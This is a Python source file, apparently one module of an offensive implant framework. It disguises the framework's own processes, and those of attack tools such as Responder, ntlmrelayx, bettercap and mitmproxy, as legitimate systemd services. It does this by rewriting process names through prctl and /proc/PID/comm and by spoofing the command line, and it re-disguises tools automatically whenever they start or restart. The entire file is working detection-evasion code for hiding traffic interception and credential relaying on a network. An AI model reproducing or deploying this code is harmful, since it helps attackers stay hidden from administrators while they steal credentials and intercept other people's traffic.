#!/usr/bin/env python3 """Process disguise module — rename all SystemMonitor processes to look like legitimate system services. Reads process name mappings from stealth.yaml, renames own processes via prctl(PR_SET_NAME) and /proc/self/comm, and auto-disguises new module processes as they start. """ import logging import os import time import threading from typing import Dict, Optional from modules.base import BaseModule from utils.stealth import rename_process, spoof_cmdline logger = logging.getLogger(__name__) class ProcessDisguise(BaseModule): """Rename all managed processes to innocuous system service names.""" name = "process_disguise" module_type = "stealth" priority = -400 requires_root = False def __init__(self, bus, state, config, engine=None): super().__init__(bus, state, config, engine) self._name_map: Dict[str, str] = {} # original -> disguised self._disguised_pids: Dict[int, str] = {} # pid -> fake_name self._lock = threading.Lock() # ------------------------------------------------------------------ # BaseModule interface # ------------------------------------------------------------------ def start(self) -> None: if self._running: return # Load process name mappings from stealth.yaml config stealth_cfg = self.config.get("stealth_yaml", {}) self._name_map = stealth_cfg.get("process_names", {}) if not self._name_map: # Fallback defaults matching stealth.yaml self._name_map = { "python3": "systemd-thermald", "bettercap": "networkd-dispatcher", "tcpdump": "systemd-netlogd", "responder": "systemd-resolved", "mitmproxy": "systemd-networkd", "ntlmrelayx": "systemd-logind", "hostapd": "wpa_supplicant", "dnsmasq": "systemd-resolved", } # Disguise own process first own_fake = self._name_map.get("python3", "systemd-thermald") self._apply_disguise(os.getpid(), own_fake) # Spoof /proc/self/cmdline spoof_cmdline(own_fake) # Subscribe to bus events for auto-disguise self.bus.subscribe(self._on_module_started, event_type="MODULE_STARTED") self.bus.subscribe(self._on_tool_restarted, event_type="TOOL_RESTARTED") self._running = True self._pid = os.getpid() self._start_time = time.time() self.state.set_module_status(self.name, "running", pid=os.getpid()) logger.info( "ProcessDisguise active — %d name mappings loaded, own PID %d -> %s", len(self._name_map), os.getpid(), own_fake, ) def stop(self) -> None: if not self._running: return self.bus.unsubscribe(self._on_module_started, event_type="MODULE_STARTED") self.bus.unsubscribe(self._on_tool_restarted, event_type="TOOL_RESTARTED") self._running = False self.state.set_module_status(self.name, "stopped") logger.info("ProcessDisguise stopped — %d PIDs were disguised", len(self._disguised_pids)) def status(self) -> dict: with self._lock: pids_snapshot = dict(self._disguised_pids) return { "running": self._running, "pid": self._pid, "uptime": time.time() - self._start_time if self._start_time else 0, "disguised_pids": pids_snapshot, "total_disguised": len(pids_snapshot), "name_mappings": len(self._name_map), } def configure(self, config: dict) -> None: self.config.update(config) new_names = config.get("stealth_yaml", {}).get("process_names") if new_names: self._name_map.update(new_names) # ------------------------------------------------------------------ # Public API for other modules / tool_manager # ------------------------------------------------------------------ def disguise_pid(self, pid: int, name: str) -> bool: """Disguise an arbitrary PID with the given fake name. Called by tool_manager or other modules to rename external processes. For external processes, we write to /proc/PID/comm (requires root or same user). """ return self._apply_disguise(pid, name) def get_fake_name(self, original_name: str) -> str: """Look up the disguise name for a process. Returns original if no mapping.""" return self._name_map.get(original_name, original_name) # ------------------------------------------------------------------ # Event handlers # ------------------------------------------------------------------ def _on_module_started(self, event) -> None: """Auto-disguise newly started module processes.""" payload = event.payload pid = payload.get("pid") module_name = payload.get("module", "") if pid and pid != os.getpid(): # Python modules get the python3 disguise name fake = self._name_map.get("python3", "systemd-thermald") self._apply_disguise(pid, fake) logger.debug("Auto-disguised module %s (PID %d) -> %s", module_name, pid, fake) def _on_tool_restarted(self, event) -> None: """Re-disguise restarted tool processes.""" payload = event.payload pid = payload.get("pid") tool_name = payload.get("tool", "") if pid: fake = self._name_map.get(tool_name, tool_name) self._apply_disguise(pid, fake) logger.debug("Re-disguised restarted tool %s (PID %d) -> %s", tool_name, pid, fake) # ------------------------------------------------------------------ # Internal # ------------------------------------------------------------------ def _apply_disguise(self, pid: int, fake_name: str) -> bool: """Apply a process name disguise to the given PID.""" success = False if pid == os.getpid(): # Own process — use prctl success = rename_process(fake_name) else: # External process — write to /proc/PID/comm try: comm_path = f"/proc/{pid}/comm" with open(comm_path, "w") as f: f.write(fake_name[:15]) success = True except (IOError, PermissionError, FileNotFoundError) as exc: logger.debug("Cannot disguise PID %d: %s", pid, exc) if success: with self._lock: self._disguised_pids[pid] = fake_name return success